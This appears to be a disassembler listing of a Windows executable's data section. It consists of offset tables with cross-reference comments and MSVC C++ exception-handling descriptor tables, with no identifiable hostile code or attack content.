db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ',0
align 4
dd 31Bh dup(0)
off_43F000 dd offset sub_4017D0 ; DATA XREF: sub_403720+3FEo
off_43F004 dd offset byte_437AC0 ; DATA XREF: sub_403CC0+2o
off_43F008 dd offset off_402027 ; DATA XREF: sub_406BF0+2o sub_406C50o
off_43F00C dd offset sub_40221B ; DATA XREF: ___:004070C5o
off_43F010 dd offset loc_40218F ; DATA XREF: sub_409BC0+4o
; sub_409C20+Bo ...
off_43F014 dd offset loc_402045 ; DATA XREF: sub_40AEA0+2o
; sub_40AEF0+1Co
dd offset byte_437AC0
align 10h
off_43F020 dd offset loc_401AE1 ; DATA XREF: ___:0040B1F8o
; sub_40B250+1Eo
flt_43F024 dd 1.0 ; DATA XREF: ___:0040B8A6r
off_43F028 dd offset sub_401A4B ; DATA XREF: sub_40F6D0+157o
; sub_40FE70+1Do
dd offset sub_402149
dd 0
off_43F034 dd offset sub_401ACD ; DATA XREF: sub_40F6D0+142o
; sub_40FE70+23o
off_43F038 dd offset loc_40115E ; DATA XREF: sub_411930+36o
; sub_4119E0+1Do
dd offset loc_402004
dd 0
off_43F044 dd offset sub_4014C9 ; DATA XREF: ___:0041325Do
; sub_4132F0+1Fo
dd offset sub_401D0C
align 10h
off_43F050 dd offset sub_4019CE ; DATA XREF: sub_416D00+6o
; sub_417EF0+8o
dd offset sub_4020C7
dd 0
off_43F05C dd offset loc_401CAD ; DATA XREF: sub_416D60+6o
; sub_417F20+8o
dd offset sub_401230
align 8
off_43F068 dd offset loc_401929 ; DATA XREF: sub_416DC0o sub_41FCD0+8o
dd offset sub_401CF3
dd 0
off_43F074 dd offset sub_40111D ; DATA XREF: sub_416E10o
; sub_4191B0+36o
off_43F078 dd offset loc_4014AB ; DATA XREF: sub_417CC0+68o
off_43F07C dd offset sub_401064 ; DATA XREF: sub_417D60+8Bo
off_43F080 dd offset sub_40138E ; DATA XREF: sub_417E30+74o
off_43F084 dd offset loc_401B81 ; DATA XREF: sub_417F50+7Bo
off_43F088 dd offset loc_40204A ; DATA XREF: sub_418010+7Bo
off_43F08C dd offset loc_401F3C ; DATA XREF: sub_4180D0+3Eo
off_43F090 dd offset sub_401FE1 ; DATA XREF: sub_418150+8o
off_43F094 dd offset loc_401FF5 ; DATA XREF: sub_418180+3Eo
off_43F098 dd offset sub_401E6A ; DATA XREF: sub_418200+3Eo
off_43F09C dd offset loc_40100A ; DATA XREF: sub_418280+10o
off_43F0A0 dd offset loc_4010B4 ; DATA XREF: sub_4182B0+4Bo
off_43F0A4 dd offset sub_401BB8 ; DATA XREF: sub_418330+10o
off_43F0A8 dd offset sub_40171C ; DATA XREF: sub_418360+10o
off_43F0AC dd offset sub_40161D ; DATA XREF: sub_418390+6Bo
dbl_43F0B0 dq -3.0517578125e-5 ; DATA XREF: sub_4199C0+22r
dd 0
off_43F0BC dd offset sub_401B09 ; DATA XREF: sub_41A110+Bo
; sub_41A210+6o
off_43F0C0 dd offset sub_401E92 ; DATA XREF: sub_41B0E0+Do sub_41B140o
off_43F0C4 dd offset sub_401406 ; DATA XREF: ___:0041B4A2o
; ___:0041B58Do
dd offset sub_401686
align 10h
off_43F0D0 dd offset loc_4019F6 ; DATA XREF: sub_41D770+77o
; sub_41D860+1Do
dd offset sub_401C94
dd 0
off_43F0DC dd offset sub_4011FE ; DATA XREF: sub_427740+32o
dd offset sub_401A78
dd offset sub_401A50
dd 0
off_43F0EC dd offset loc_4016DB ; DATA XREF: sub_4277B0+6Ao
; sub_427850+1Do
dd offset sub_401A78
dd offset byte_437AC0
dd 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS KEYPAD "+" TO EXPAND]
db 1Ah, 40h, 0
dd offset sub_401A78
dd offset sub_401366
dd 0
off_43F10C dd offset sub_40182A ; DATA XREF: sub_4281A0+32o
dd offset sub_401A78
dd offset sub_401EB0
dd 0
off_43F11C dd offset sub_40224D ; DATA XREF: sub_428880+32o
dd offset sub_401A78
dd offset sub_401A14
dd 0
off_43F12C dd offset sub_401C3F ; DATA XREF: sub_4290B0+32o
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 21h, 40h, 0
dd offset sub_4015B9
dd 0
off_43F13C dd offset loc_402086 ; DATA XREF: sub_429120+7Ao
; sub_4291E0+1Do
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 21h, 40h, 0
dd offset byte_437AC0
dd 0
off_43F14C dd offset sub_4021D5 ; DATA XREF: sub_429450+4Bo
; sub_429540+10o
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 21h, 40h, 0
dd offset loc_401D3E
dd 0
off_43F15C dd offset loc_40112C ; DATA XREF: sub_42ACB0+32o
; sub_42AD50+9o
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 21h, 40h, 0
dd offset sub_40137A
dd 0
off_43F16C dd offset loc_401B18 ; DATA XREF: sub_42AFF0+32o
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 21h, 40h, 0
dd offset sub_4010AF
dd 0
off_43F17C dd offset sub_4017B2 ; DATA XREF: sub_42B380+32o
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 21h, 40h, 0
dd offset sub_40189D
dd 0
off_43F18C dd offset sub_4020EF ; DATA XREF: sub_42C4C0+27o
dword_43F190 dd 0 dd 8, 0
off_43F19C dd offset byte_437AC0 ; DATA XREF: sub_42C530+39o
off_43F1A0 dd offset sub_401F5F ; DATA XREF: ___:0042C602o
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 21h, 40h, 0
dd offset loc_40134D
align 10h
off_43F1B0 dd offset sub_401B36 ; DATA XREF: sub_42C770+32o
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 21h, 40h, 0
dd offset sub_401537
align 10h
dd offset loc_4015FA
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 21h, 40h, 0
dd offset sub_4019F1
align 10h
dd offset dword_43F348
off_43F1D4 dd offset loc_437B01 ; DATA XREF: ___:00437AF8o
; ___:off_444890o ...
dd 0FFFFFFFFh, 437E9Ch, 437EB0h, 4Dh dup(0)
off_43F318 dd offset off_448C90 ; DATA XREF: ___:0043F330o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_43F318
dd 0
db 0 ; DATA XREF: ___:0043F358o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 1, 43F330h
dword_43F348 dd 3 dup(0) dd offset off_448C90
dd offset unk_43F338
dd 45h dup(0)
dword_43F470 dd 19930520h, 5, 43F490h, 5 dup(0) dd 0FFFFFFFFh, 438E1Ch, 0
dd offset dword_4382CC+0B24h
dd 1, 438DFBh, 2, 438E06h, 3, 438E11h, 2 dup(0)
dword_43F4C0 dd 19930520h, 3Dh, 43F4E0h, 5 dup(0) dd 0FFFFFFFFh, 438E60h, 0
dd offset loc_438E6B
dd 1, 438E76h, 2, 438E84h, 3, 438E92h, 4, 438EA0h, 5, 438EAEh
dd 6, 438EBCh, 7, 438ECAh, 8, 438ED8h, 9, 438EE6h, 0Ah
dd 438EF4h, 0Bh, 438F02h, 0Ch, 438F10h, 0Dh, 438F1Eh, 0Eh
dd 438F2Ch, 0Fh, 438F3Ah, 10h, 438F48h, 11h, 438F56h, 12h
dd 438F64h, 13h, 438F72h, 14h, 438F80h, 15h, 438F8Eh, 16h
dd 438F9Ch, 17h, 438FAAh, 18h, 438FB8h, 19h, 438FC6h, 1Ah
dd 438FD4h, 1Bh, 438FE2h, 1Ch, 438FF0h, 1Dh, 438FFEh, 1Eh
dd 43900Ch, 1Fh, 43901Ah, 20h, 439028h, 21h, 439036h, 22h
dd 439044h, 23h, 439052h, 24h, 439060h, 25h, 43906Eh, 26h
dd 43907Ch, 27h, 43908Ah, 28h, 439098h, 29h, 4390A6h, 2Ah
dd 4390B4h, 2Bh, 4390C2h, 2Ch, 4390D0h, 2Dh, 4390DEh, 2Eh
dd 4390ECh, 2Fh, 4390FAh, 30h, 439108h, 31h, 439116h, 32h
dd 439124h, 33h, 439132h, 34h, 439140h, 35h, 43914Eh, 36h
dd 43915Ch, 37h, 43916Ah, 38h, 439178h, 39h, 439186h, 3Ah
dd 439194h, 3Bh, 4391A2h, 0Eh dup(0)
dword_43F700 dd 19930520h, 1, 43F720h, 5 dup(0) dd 0FFFFFFFFh, 439290h, 2 dup(0)
dword_43F730 dd 19930520h, 2, 43F750h, 5 dup(0) dd 0FFFFFFFFh, 4392B0h, 0
dd offset loc_4392B8
dd 2 dup(0)
dword_43F768 dd 19930520h, 2, 43F788h, 5 dup(0) dd 0FFFFFFFFh, 4392E0h, 0
dd offset loc_4392E8
align 10h
dword_43F7A0 dd 19930520h, 1, 43F7C0h, 5 dup(0) dd 0FFFFFFFFh, 439310h, 2 dup(0)
dword_43F7D0 dd 19930520h, 7, 43F7F0h, 5 dup(0) dd 0FFFFFFFFh, 439330h, 0
dd offset loc_439338
dd 1, 439343h, 2, 439351h, 3, 43935Fh, 4, 43936Dh, 5, 43937Bh
dd 2 dup(0)
dword_43F830 dd 19930520h, 7, 43F850h, 5 dup(0) dd 0FFFFFFFFh, 4393B0h, 0
dd offset loc_4393B8
dd 1, 4393C3h, 2, 4393D1h, 3, 4393DFh, 4, 4393EDh, 5, 4393FBh
dd 2 dup(0)
dword_43F890 dd 19930520h, 11h, 43F8B0h, 5 dup(0) dd 0FFFFFFFFh, 439430h, 0FFFFFFFFh, 439438h, 0FFFFFFFFh
dd 439440h, 0FFFFFFFFh, 439448h, 0FFFFFFFFh, 439450h, 0FFFFFFFFh
dd 439458h, 0FFFFFFFFh, 439460h, 0FFFFFFFFh, 439468h, 0FFFFFFFFh
dd 439470h, 0FFFFFFFFh, 439478h, 0FFFFFFFFh, 439480h, 0FFFFFFFFh
dd 439488h, 0FFFFFFFFh, 439490h, 0FFFFFFFFh, 439498h, 0FFFFFFFFh
dd 4394A0h, 0Eh, 4394A8h, 0Eh, 4394B0h, 4 dup(0)
dword_43F948 dd 19930520h, 0Bh, 43F968h, 5 dup(0) dd 0FFFFFFFFh, 4394F0h, 0
dd offset loc_4394F8
dd 0FFFFFFFFh, 439500h, 2, 439508h, 0FFFFFFFFh, 439510h
dd 0FFFFFFFFh, 439518h, 0FFFFFFFFh, 439520h, 0FFFFFFFFh
dd 439528h, 7, 439533h, 7, 43953Bh, 9, 439543h, 4 dup(0)
dword_43F9D0 dd 19930520h, 31h, 43F9F0h, 5 dup(0) dd 0FFFFFFFFh, 439570h, 0
dd offset loc_43957B
dd 0
dd offset loc_439586
dd 0FFFFFFFFh, 439591h, 0FFFFFFFFh, 43959Ch, 4, 4395A7h
dd 0FFFFFFFFh, 4395B2h, 6, 4395BDh, 6, 4395C8h, 8, 4395D3h
dd 0FFFFFFFFh, 4395DEh, 0Ah, 4395E9h, 0Ah, 4395F4h, 0Ah
dd 4395FFh, 0Ah, 43960Ah, 0Ah, 439615h, 0Ah, 439620h, 0FFFFFFFFh
dd 43962Bh, 11h, 439636h, 11h, 439641h, 0FFFFFFFFh, 43964Ch
dd 0FFFFFFFFh, 439657h, 15h, 439662h, 0FFFFFFFFh, 43966Dh
dd 0FFFFFFFFh, 439678h, 18h, 439683h, 0FFFFFFFFh, 43968Eh
dd 0FFFFFFFFh, 439699h, 0FFFFFFFFh, 4396A4h, 0FFFFFFFFh
dd 4396AFh, 1Dh, 4396BAh, 1Dh, 4396C5h, 1Dh, 4396D0h, 1Dh
dd 4396DBh, 1Dh, 4396E6h, 22h, 4396F1h, 22h, 4396FCh, 22h
dd 439707h, 22h, 439712h, 22h, 43971Dh, 22h, 439728h, 22h
dd 439733h, 22h, 43973Eh, 22h, 439749h, 22h, 439754h, 22h
dd 43975Fh, 22h, 43976Ah, 22h, 439775h, 22h, 439780h, 0Ch dup(0)
dword_43FBA8 dd 19930520h, 2, 43FBC8h, 5 dup(0) dd 0FFFFFFFFh, 439828h, 0
dd offset loc_439820
align 10h
dword_43FBE0 dd 19930520h, 2, 43FC00h, 5 dup(0) dd 0FFFFFFFFh, 43986Bh, 0
dd offset loc_439860
dd 2 dup(0)
dword_43FC18 dd 19930520h, 3, 43FC38h, 5 dup(0) dd 0FFFFFFFFh, 4398A0h, 0
dd offset loc_4398AB
dd 0
dd offset loc_4398B6
dd 2 dup(0)
dword_43FC58 dd 19930520h, 1, 43FC78h, 5 dup(0) dd 0FFFFFFFFh, 4398E0h, 2 dup(0)
dword_43FC88 dd 19930520h, 1, 43FCA8h, 5 dup(0) dd 0FFFFFFFFh, 439900h, 2 dup(0)
dword_43FCB8 dd 19930520h, 2, 43FCD8h, 5 dup(0) dd 0FFFFFFFFh, 439920h, 0
dd offset loc_439928
align 10h
dword_43FCF0 dd 19930520h, 57h, 43FD10h, 5 dup(0) dd 0FFFFFFFFh, 439940h, 0
dd offset loc_43994B
dd 1, 439956h, 2, 439961h, 3, 43996Ch, 4, 439977h, 5, 439982h
dd 6, 43998Dh, 7, 439998h, 8, 4399A3h, 9, 4399ABh, 0Ah
dd 4399B3h, 0Bh, 4399BEh, 0Ch, 4399C6h, 0Dh, 4399CEh, 0Eh
dd 4399D9h, 0Fh, 4399E4h, 10h, 4399EFh, 11h, 4399FAh, 12h
dd 439A05h, 13h, 439A10h, 14h, 439A1Bh, 15h, 439A26h, 16h
dd 439A31h, 17h, 439A3Ch, 18h, 439A47h, 19h, 439A52h, 1Ah
dd 439A5Dh, 1Bh, 439A68h, 1Ch, 439A73h, 1Dh, 439A7Eh, 1Eh
dd 439A89h, 1Eh, 439A94h, 1Eh, 439A9Fh, 1Eh, 439AAAh, 1Eh
dd 439AB5h, 1Eh, 439AC0h, 1Eh, 439ACBh, 1Eh, 439AD6h, 1Eh
dd 439AE1h, 1Eh, 439AECh, 28h, 439AF7h, 1Eh, 439AF7h, 1Eh
dd 439B02h, 2Bh, 439B0Dh, 1Eh, 439B0Dh, 1Eh, 439B18h, 2Eh
dd 439B23h, 1Eh, 439B23h, 1Eh, 439B2Eh, 31h, 439B39h, 1Eh
dd 439B39h, 1Eh, 439B44h, 34h, 439B4Fh, 1Eh, 439B4Fh, 1Eh
dd 439B5Ah, 37h, 439B65h, 1Eh, 439B65h, 1Eh, 439B70h, 3Ah
dd 439B7Bh, 1Eh, 439B7Bh, 1Eh, 439B86h, 3Dh, 439B91h, 1Eh
dd 439B91h, 1Eh, 439B9Ch, 40h, 439BA7h, 1Eh, 439BA7h, 1Eh
dd 439BB2h, 43h, 439BBDh, 1Eh, 439BBDh, 1Eh, 439BC8h, 46h
dd 439BD3h, 1Eh, 439BD3h, 1Eh, 439BDEh, 49h, 439BE9h, 1Eh
dd 439BE9h, 1Eh, 439BF4h, 4Ch, 439BFFh, 1Eh, 439BFFh, 1Eh
dd 439C0Ah, 4Fh, 439C15h, 1Eh, 439C15h, 1Eh, 439C20h, 52h
dd 439C2Bh, 53h, 439C36h, 54h, 439C41h, 55h, 439C4Ch, 13h dup(0)
dd offset off_444890
dd 0
dd 0FFFFFFFFh, 0
dd 0Ch, 437AF0h, 2 dup(0)
dd offset off_4448B0
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 437F1Ah, 2 dup(0)
dd offset off_4448D8
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 437F20h, 0
dword_440070 dd 3, 440050h, 440030h, 440010h, 2 dup(0)dword_440088 dd 0 ; ___:0040AA77o
dd offset dword_437EC4+62h
dd 0
dd offset dword_440070
align 10h
dword_4400A0 dd 19930520h, 1, 4400C0h, 5 dup(0) dd 0FFFFFFFFh, 439D30h, 2 dup(0)
dword_4400D0 dd 19930520h, 1, 4400F0h, 5 dup(0) dd 0FFFFFFFFh, 439D50h, 2 dup(0)
dword_440100 dd 19930520h, 3, 440120h, 5 dup(0) dd 0FFFFFFFFh, 439D70h, 0
dd offset loc_439D87
dd 1, 439D8Fh, 2 dup(0)
byte_440140 db 20h ; DATA XREF: ___:loc_439DB9o
db 5, 93h, 19h
dd 1, 440160h, 5 dup(0)
dd 0FFFFFFFFh, 439DB0h, 2 dup(0)
dword_440170 dd 19930520h, 2, 440190h, 1, 4401A0h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 4401B8h, 4 dup(0)
dd offset sub_40AF32
align 10h
dword_4401D0 dd 19930520h, 2, 4401F0h, 1, 440200h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 440218h, 4 dup(0)
dd offset sub_40B0B1
align 10h
dword_440230 dd 19930520h, 4, 440250h, 5 dup(0) dd 0FFFFFFFFh, 439DF0h, 0
dd offset loc_439DFB
dd 1, 439E06h, 2, 439E11h, 2 dup(0)
dword_440278 dd 19930520h, 4, 440298h, 5 dup(0) dd 0FFFFFFFFh, 439E40h, 0
dd offset loc_439E4B
dd 1, 439E56h, 2, 439E61h, 2 dup(0)
dword_4402C0 dd 19930520h, 3, 4402E0h, 5 dup(0) dd 0FFFFFFFFh, 439E90h, 0FFFFFFFFh, 439E98h, 0FFFFFFFFh
dd 439EA0h, 2 dup(0)
dword_440300 dd 19930520h, 3, 440320h, 5 dup(0) dd 0FFFFFFFFh, 439EC0h, 0
dd offset loc_439EC8
dd 1, 439ED0h, 2 dup(0)
dword_440340 dd 19930520h, 1, 440360h, 5 dup(0) dd 0FFFFFFFFh, 439EF0h, 2 dup(0)
dword_440370 dd 19930520h, 4, 440390h, 5 dup(0) dd 0FFFFFFFFh, 439F10h, 0FFFFFFFFh, 439F18h, 0FFFFFFFFh
dd 439F20h, 2, 439F28h, 2 dup(0)
dword_4403B8 dd 19930520h, 1, 4403D8h, 5 dup(0) dd 0FFFFFFFFh, 439F50h, 2 dup(0)
dword_4403E8 dd 19930520h, 4, 440408h, 5 dup(0) dd 0FFFFFFFFh, 439F70h, 0
dd offset loc_439F7B
dd 0
dd offset loc_439F86
dd 2, 439F91h, 2 dup(0)
dword_440430 dd 19930520h, 1, 440450h, 5 dup(0) dd 0FFFFFFFFh, 439FC0h, 2 dup(0)
dword_440460 dd 19930520h, 5, 440480h, 5 dup(0) dd 0FFFFFFFFh, 439FE0h, 0
dd offset loc_439FEB
dd 0
dd offset loc_439FF6
dd 0
dd offset loc_43A001
dd 0
dd offset loc_43A00C
align 10h
dword_4404B0 dd 19930520h, 2, 4404D0h, 5 dup(0) dd 0FFFFFFFFh, 43A040h, 0
dd offset loc_43A04B
dd 2 dup(0)
dword_4404E8 dd 19930520h, 2, 440508h, 5 dup(0) dd 0FFFFFFFFh, 43A070h, 0
dd offset loc_43A07B
align 10h
dword_440520 dd 19930520h, 4, 440540h, 5 dup(0) dd 0FFFFFFFFh, 43A0A0h, 0FFFFFFFFh, 43A0A8h, 0FFFFFFFFh
dd 43A0B0h, 0FFFFFFFFh, 43A0B8h, 2 dup(0)
dword_440568 dd 19930520h, 8, 440588h, 5 dup(0) dd 0FFFFFFFFh, 43A0E0h, 0
dd offset loc_43A0EB
dd 1, 43A0F6h, 1, 43A101h, 1, 43A10Ch, 1, 43A117h, 1, 43A122h
dd 1, 43A12Dh, 4 dup(0)
dword_4405D8 dd 19930520h, 0Dh, 4405F8h, 5 dup(0) dd 0FFFFFFFFh, 43A160h, 0FFFFFFFFh, 43A16Bh, 1, 43A176h
dd 2, 43A181h, 3, 43A18Ch, 4, 43A197h, 5, 43A1A2h, 6, 43A1ADh
dd 7, 43A1B8h, 8, 43A1C3h, 9, 43A1CEh, 0Ah, 43A1D9h, 0Bh
dd 43A1E4h, 4 dup(0)
dword_440670 dd 19930520h, 6, 440690h, 5 dup(0) dd 0FFFFFFFFh, 43A220h, 0
dd offset loc_43A228
dd 1, 43A230h, 2, 43A238h, 2, 43A240h, 2, 43A248h, 2 dup(0)
dword_4406C8 dd 19930520h, 6, 4406E8h, 5 dup(0) dd 0FFFFFFFFh, 43A270h, 0
dd offset loc_43A278
dd 1, 43A280h, 2, 43A288h, 2, 43A290h, 2, 43A298h, 2 dup(0)
dword_440720 dd 19930520h, 3, 440740h, 5 dup(0) dd 0FFFFFFFFh, 43A2C0h, 0
dd offset loc_43A2C8
dd 1, 43A2D0h, 2 dup(0)
dword_440760 dd 19930520h, 1, 440780h, 5 dup(0) dd 0FFFFFFFFh, 43A2F0h, 2 dup(0)
dword_440790 dd 19930520h, 7, 4407B0h, 5 dup(0) dd 0FFFFFFFFh, 43A310h, 0
dd offset loc_43A318
dd 0FFFFFFFFh, 43A320h, 0FFFFFFFFh, 43A328h, 3, 43A330h
dd 4, 43A338h, 0FFFFFFFFh, 43A340h, 2 dup(0)
dword_4407F0 dd 19930520h, 24h, 440810h, 5 dup(0) dd 0FFFFFFFFh, 43A370h, 0
dd offset loc_43A378
dd 1, 43A383h, 2, 43A38Eh, 3, 43A399h, 4, 43A3A7h, 5, 43A3B5h
dd 6, 43A3C3h, 7, 43A3D1h, 8, 43A3DFh, 9, 43A3EDh, 0Ah
dd 43A3FBh, 0Bh, 43A409h, 0Ch, 43A417h, 0Dh, 43A425h, 0Eh
dd 43A433h, 0Fh, 43A441h, 10h, 43A44Fh, 11h, 43A45Dh, 11h
dd 43A465h, 11h, 43A46Dh, 11h, 43A475h, 11h, 43A47Dh, 11h
dd 43A485h, 11h, 43A48Dh, 11h, 43A495h, 11h, 43A49Dh, 11h
dd 43A4A5h, 11h, 43A4ADh, 11h, 43A4B5h, 11h, 43A4BDh, 11h
dd 43A4C5h, 11h, 43A4CDh, 11h, 43A4D5h, 11h, 43A4DDh, 11h
dd 43A4E5h, 8 dup(0)
dword_440950 dd 19930520h, 11h, 440970h, 5 dup(0) dd 0FFFFFFFFh, 43A560h, 0
dd offset loc_43A568
dd 1, 43A573h, 2, 43A57Eh, 3, 43A589h, 4, 43A597h, 5, 43A5A5h
dd 6, 43A5B3h, 7, 43A5C1h, 8, 43A5CFh, 9, 43A5DDh, 0Ah
dd 43A5EBh, 0Bh, 43A5F9h, 0Ch, 43A607h, 0Dh, 43A615h, 0Eh
dd 43A623h, 0Fh, 43A631h, 4 dup(0)
dword_440A08 dd 19930520h, 38h, 440A28h, 5 dup(0) dd 0FFFFFFFFh, 43A690h, 0
dd offset loc_43A69B
dd 1, 43A6A6h, 0
dd offset loc_43A6B1
dd 0
dd offset loc_43A6BC
dd 0
dd offset loc_43A6C7
dd 0
dd offset loc_43A6D2
dd 0
dd offset loc_43A6DD
dd 0
dd offset loc_43A6E8
dd 0
dd offset loc_43A6F3
dd 9, 43A6FEh, 0
dd offset loc_43A709
dd 0
dd offset loc_43A714
dd 0
dd offset loc_43A71F
dd 0
dd offset loc_43A72A
dd 0Eh, 43A735h, 0Eh, 43A743h, 0Eh, 43A751h, 0Eh, 43A75Ch
dd 0Eh, 43A76Ah, 0Eh, 43A778h, 0Eh, 43A783h, 0Eh, 43A78Eh
dd 0
dd offset loc_43A799
dd 0
dd offset loc_43A7A4
dd 0
dd offset loc_43A7B2
dd 0
dd offset loc_43A7C0
dd 1Ah, 43A7CBh, 1Bh, 43A7D6h, 0
dd offset loc_43A7E1
dd 1Dh, 43A7ECh, 0
dd offset loc_43A7F7
dd 1Fh, 43A802h, 0
dd offset loc_43A80D
dd 0
dd offset loc_43A818
dd 0
dd offset loc_43A823
dd 0
dd offset loc_43A82E
dd 0
dd offset loc_43A839
dd 25h, 43A844h, 26h, 43A84Fh, 0
dd offset loc_43A84F
dd 28h, 43A844h, 0
dd offset loc_43A85A
dd 0
dd offset loc_43A865
dd 2Bh, 43A870h, 2Ch, 43A87Bh, 0
dd offset loc_43A87B
dd 2Eh, 43A870h, 2Eh, 43A886h, 0
dd offset loc_43A891
dd 31h, 43A89Ch, 0
dd offset loc_43A8A7
dd 0
dd offset loc_43A8B2
dd 34h, 43A8BDh, 35h, 43A8C8h, 34h, 43A8C8h, 0Ch dup(0)
dword_440C18 dd 19930520h, 1, 440C38h, 5 dup(0) dd 0FFFFFFFFh, 43A970h, 2 dup(0)
dword_440C48 dd 19930520h, 1, 440C68h, 5 dup(0) dd 0FFFFFFFFh, 43A990h, 2 dup(0)
dword_440C78 dd 19930520h, 6, 440C98h, 5 dup(0) dd 0FFFFFFFFh, 43A9B0h, 0
dd offset loc_43A9B8
dd 1, 43A9C3h, 2, 43A9CEh, 3, 43A9D9h, 4, 43A9E4h, 2 dup(0)
